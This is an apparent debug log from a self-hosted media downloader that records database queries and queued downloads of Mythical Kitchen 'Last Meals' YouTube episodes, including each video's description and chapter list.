("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [48, 45, ~U[2026-03-28 00:48:02Z], ~U[2026-03-28 00:48:02Z]] 20:48:02.476 [debug] Current batch of media processed. Will check again in 1000ms 20:48:03.477 [debug] Current batch of media processed. Will check again in 1000ms 20:48:04.479 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Kevin Bacon eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kevin's Last Meal\n1:24 Have You Thought About Your Last Meal Before?\n2:38 1st Course\n5:23 The Music Of Cooking\n6:50 Hunting Demons\n8:28 Writing Music For The Bondsman\n11:07 2nd Course\n13:22 The Father Of Modern Philadelphia\n15:18 Kevin's Intentional Parenting Style\n19:19 3rd Course\n21:30 A Lonely Farmer With A Dog\n23:06 Kyra Was Right\n24:23 Black Cat & Golden Retriever Relationships\n25:30 Leave The World Better Than You Found It\n27:35 4th Course\n28:31 Six Degress Of Kevin Bacon\n31:52 Losing Parents\n34:04 What Do You Think Happens When You Die?\n34:18 Lightning Round\n35:22 Kevin's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2160, "filename" => "/downloads/Last Meals/2025-04-03 Kevin Bacon Eats His Last Meal/Kevin Bacon Eats His Last Meal [JR1M5ArILl8].mp4", "id" => "JR1M5ArILl8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JR1M5ArILl8", "playlist_index" => 46, "timestamp" => 1743674432, "title" => "Kevin Bacon Eats His Last Meal", "upload_date" => "20250403"} 20:48:04.480 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=421.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:04.480 [debug] QUERY OK source="sources" db=0.2ms idle=422.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:04.481 [debug] QUERY OK source="media_items" db=0.4ms idle=423.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-03 10:00:32Z], 1] 20:48:04.485 [debug] QUERY OK source="media_items" db=2.4ms idle=424.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Kevin Bacon eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kevin's Last Meal\n1:24 Have You Thought About Your Last Meal Before?\n2:38 1st Course\n5:23 The Music Of Cooking\n6:50 Hunting Demons\n8:28 Writing Music For The Bondsman\n11:07 2nd Course\n13:22 The Father Of Modern Philadelphia\n15:18 Kevin's Intentional Parenting Style\n19:19 3rd Course\n21:30 A Lonely Farmer With A Dog\n23:06 Kyra Was Right\n24:23 Black Cat & Golden Retriever Relationships\n25:30 Leave The World Better Than You Found It\n27:35 4th Course\n28:31 Six Degress Of Kevin Bacon\n31:52 Losing Parents\n34:04 What Do You Think Happens When You Die?\n34:18 Lightning Round\n35:22 Kevin's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kevin Bacon Eats His Last Meal", "7d7e06f1-74e1-4f49-bc65-786f9c21f76c", "https://www.youtube.com/watch?v=JR1M5ArILl8", false, "JR1M5ArILl8", 2160, false, 46, "/downloads/Last Meals/2025-04-03 Kevin Bacon Eats His Last Meal/Kevin Bacon Eats His Last Meal [JR1M5ArILl8].mp4", false, false, 1, [], 0, ~U[2025-04-03 10:00:32Z], ~U[2026-03-28 00:48:04Z], ~U[2026-03-28 00:48:04Z], "Kevin Bacon eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kevin's Last Meal\n1:24 Have You Thought About Your Last Meal Before?\n2:38 1st Course\n5:23 The Music Of Cooking\n6:50 Hunting Demons\n8:28 Writing Music For The Bondsman\n11:07 2nd Course\n13:22 The Father Of Modern Philadelphia\n15:18 Kevin's Intentional Parenting Style\n19:19 3rd Course\n21:30 A Lonely Farmer With A Dog\n23:06 Kyra Was Right\n24:23 Black Cat & Golden Retriever Relationships\n25:30 Leave The World Better Than You Found It\n27:35 4th Course\n28:31 Six Degress Of Kevin Bacon\n31:52 Losing Parents\n34:04 What Do You Think Happens When You Die?\n34:18 Lightning Round\n35:22 Kevin's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kevin Bacon Eats His Last Meal", "https://www.youtube.com/watch?v=JR1M5ArILl8", "JR1M5ArILl8", 2160, false, "/downloads/Last Meals/2025-04-03 Kevin Bacon Eats His Last Meal/Kevin Bacon Eats His Last Meal [JR1M5ArILl8].mp4", false, 1, ~U[2025-04-03 10:00:32Z]] 20:48:04.485 [debug] QUERY OK source="sources" db=0.3ms idle=408.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:04.486 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:04.487 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [46] 20:48:04.487 [info] Kicking off download for media item #46 (JR1M5ArILl8) 20:48:04.489 [debug] QUERY OK source="tasks" db=0.1ms idle=3.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [49, 46, ~U[2026-03-28 00:48:04Z], ~U[2026-03-28 00:48:04Z]] 20:48:04.489 [debug] Current batch of media processed. Will check again in 1000ms 20:48:05.490 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Jacksepticeye eats his meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacksepticeye's Last Meal\n0:43 GMM Throwback\n1:34 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n2:44 1st Course\n3:47 Back In Rural Ireland\n6:20 Stoicism & Buddhism\n7:45 Deepcuts From Sean's Old Band\n9:48 Mental Health Attached To Numbers\n11:28 2nd Course\n15:13 Dad's Fish Fingers & Waffles\n16:14 Dad Was A Really Good Man\n21:07 3rd Course\n24:09 YouTube Beginnings\n27:05 Difficulty Celebrating Accomplishments\n33:01 4th Course\n34:59 Let The Boy Out To Play\n36:40 Why Is Depression Skyrocketing?\n39:38 A Lonely Christmas\n40:32 To Love Completely\n42:14 What Do You Think Happens When You Die?\n42:53 Lightning Round\n44:50 Jacksepticeye's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2733, "filename" => "/downloads/Last Meals/2025-09-04 Jacksepticeye Eats His Last Meal/Jacksepticeye Eats His Last Meal [OKbJG8E64xc].mp4", "id" => "OKbJG8E64xc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OKbJG8E64xc", "playlist_index" => 47, "timestamp" => 1756980045, "title" => "Jacksepticeye Eats His Last Meal", "upload_date" => "20250904"} 20:48:05.491 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:05.492 [debug] QUERY OK source="sources" db=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:05.493 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-04 10:00:45Z], 1] 20:48:05.496 [debug] QUERY OK source="media_items" db=2.5ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Jacksepticeye eats his meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacksepticeye's Last Meal\n0:43 GMM Throwback\n1:34 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n2:44 1st Course\n3:47 Back In Rural Ireland\n6:20 Stoicism & Buddhism\n7:45 Deepcuts From Sean's Old Band\n9:48 Mental Health Attached To Numbers\n11:28 2nd Course\n15:13 Dad's Fish Fingers & Waffles\n16:14 Dad Was A Really Good Man\n21:07 3rd Course\n24:09 YouTube Beginnings\n27:05 Difficulty Celebrating Accomplishments\n33:01 4th Course\n34:59 Let The Boy Out To Play\n36:40 Why Is Depression Skyrocketing?\n39:38 A Lonely Christmas\n40:32 To Love Completely\n42:14 What Do You Think Happens When You Die?\n42:53 Lightning Round\n44:50 Jacksepticeye's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacksepticeye Eats His Last Meal", "3448c3c0-c571-4910-8142-0fbfdf7cf5a6", "https://www.youtube.com/watch?v=OKbJG8E64xc", false, "OKbJG8E64xc", 2733, false, 47, "/downloads/Last Meals/2025-09-04 Jacksepticeye Eats His Last Meal/Jacksepticeye Eats His Last Meal [OKbJG8E64xc].mp4", false, false, 1, [], 0, ~U[2025-09-04 10:00:45Z], ~U[2026-03-28 00:48:05Z], ~U[2026-03-28 00:48:05Z], "Today, Jacksepticeye eats his meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacksepticeye's Last Meal\n0:43 GMM Throwback\n1:34 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n2:44 1st Course\n3:47 Back In Rural Ireland\n6:20 Stoicism & Buddhism\n7:45 Deepcuts From Sean's Old Band\n9:48 Mental Health Attached To Numbers\n11:28 2nd Course\n15:13 Dad's Fish Fingers & Waffles\n16:14 Dad Was A Really Good Man\n21:07 3rd Course\n24:09 YouTube Beginnings\n27:05 Difficulty Celebrating Accomplishments\n33:01 4th Course\n34:59 Let The Boy Out To Play\n36:40 Why Is Depression Skyrocketing?\n39:38 A Lonely Christmas\n40:32 To Love Completely\n42:14 What Do You Think Happens When You Die?\n42:53 Lightning Round\n44:50 Jacksepticeye's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacksepticeye Eats His Last Meal", "https://www.youtube.com/watch?v=OKbJG8E64xc", "OKbJG8E64xc", 2733, false, "/downloads/Last Meals/2025-09-04 Jacksepticeye Eats His Last Meal/Jacksepticeye Eats His Last Meal [OKbJG8E64xc].mp4", false, 1, ~U[2025-09-04 10:00:45Z]] 20:48:05.497 [debug] QUERY OK source="sources" db=0.2ms idle=418.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:05.497 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:05.498 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [47] 20:48:05.498 [info] Kicking off download for media item #47 (OKbJG8E64xc) 20:48:05.500 [debug] QUERY OK source="tasks" db=0.2ms idle=3.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [50, 47, ~U[2026-03-28 00:48:05Z], ~U[2026-03-28 00:48:05Z]] 20:48:05.500 [debug] Current batch of media processed. Will check again in 1000ms 20:48:06.501 [debug] Current batch of media processed. Will check again in 1000ms 20:48:07.503 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Joe Jonas eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Joe's Last Meal\n0:20 Bring Back The Joe Show\n1:00 Have You Thought About Your Last Meal Before?\n2:00 How Often Do You Think About Death?\n3:24 1st Course\n6:12 Taylor Ham Vs. Pork Roll\n7:38 Motivation For The New Album\n9:49 Self-Talk & Therapy\n10:45 You Can't Out-Bicycle Your Problems\n12:58 Writing A Letter To Your 8-Year-Old Self\n14:55 Check In On Your Friends\n16:35 2nd Course\n17:43 Jonas Pizza\n21:39 Chased By 100,000 Fans In A Mall In Spain\n24:22 Beaten Up By An Animated Mickey Mouse\n25:31 The Pressures Of Being A Pastor's Kid\n25:31 Identity & Purity Rings\n30:20 3rd Course\n32:31 Love Is Never Lost; It Takes New Shapes\n34:55 We're Lucky If We Have 80 Summers\n36:30 Faith\n38:57 What Do You Think Happens When You Die?\n39:50 Lightning Round\n41:30 Joe's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2511, "filename" => "/downloads/Last Meals/2025-06-03 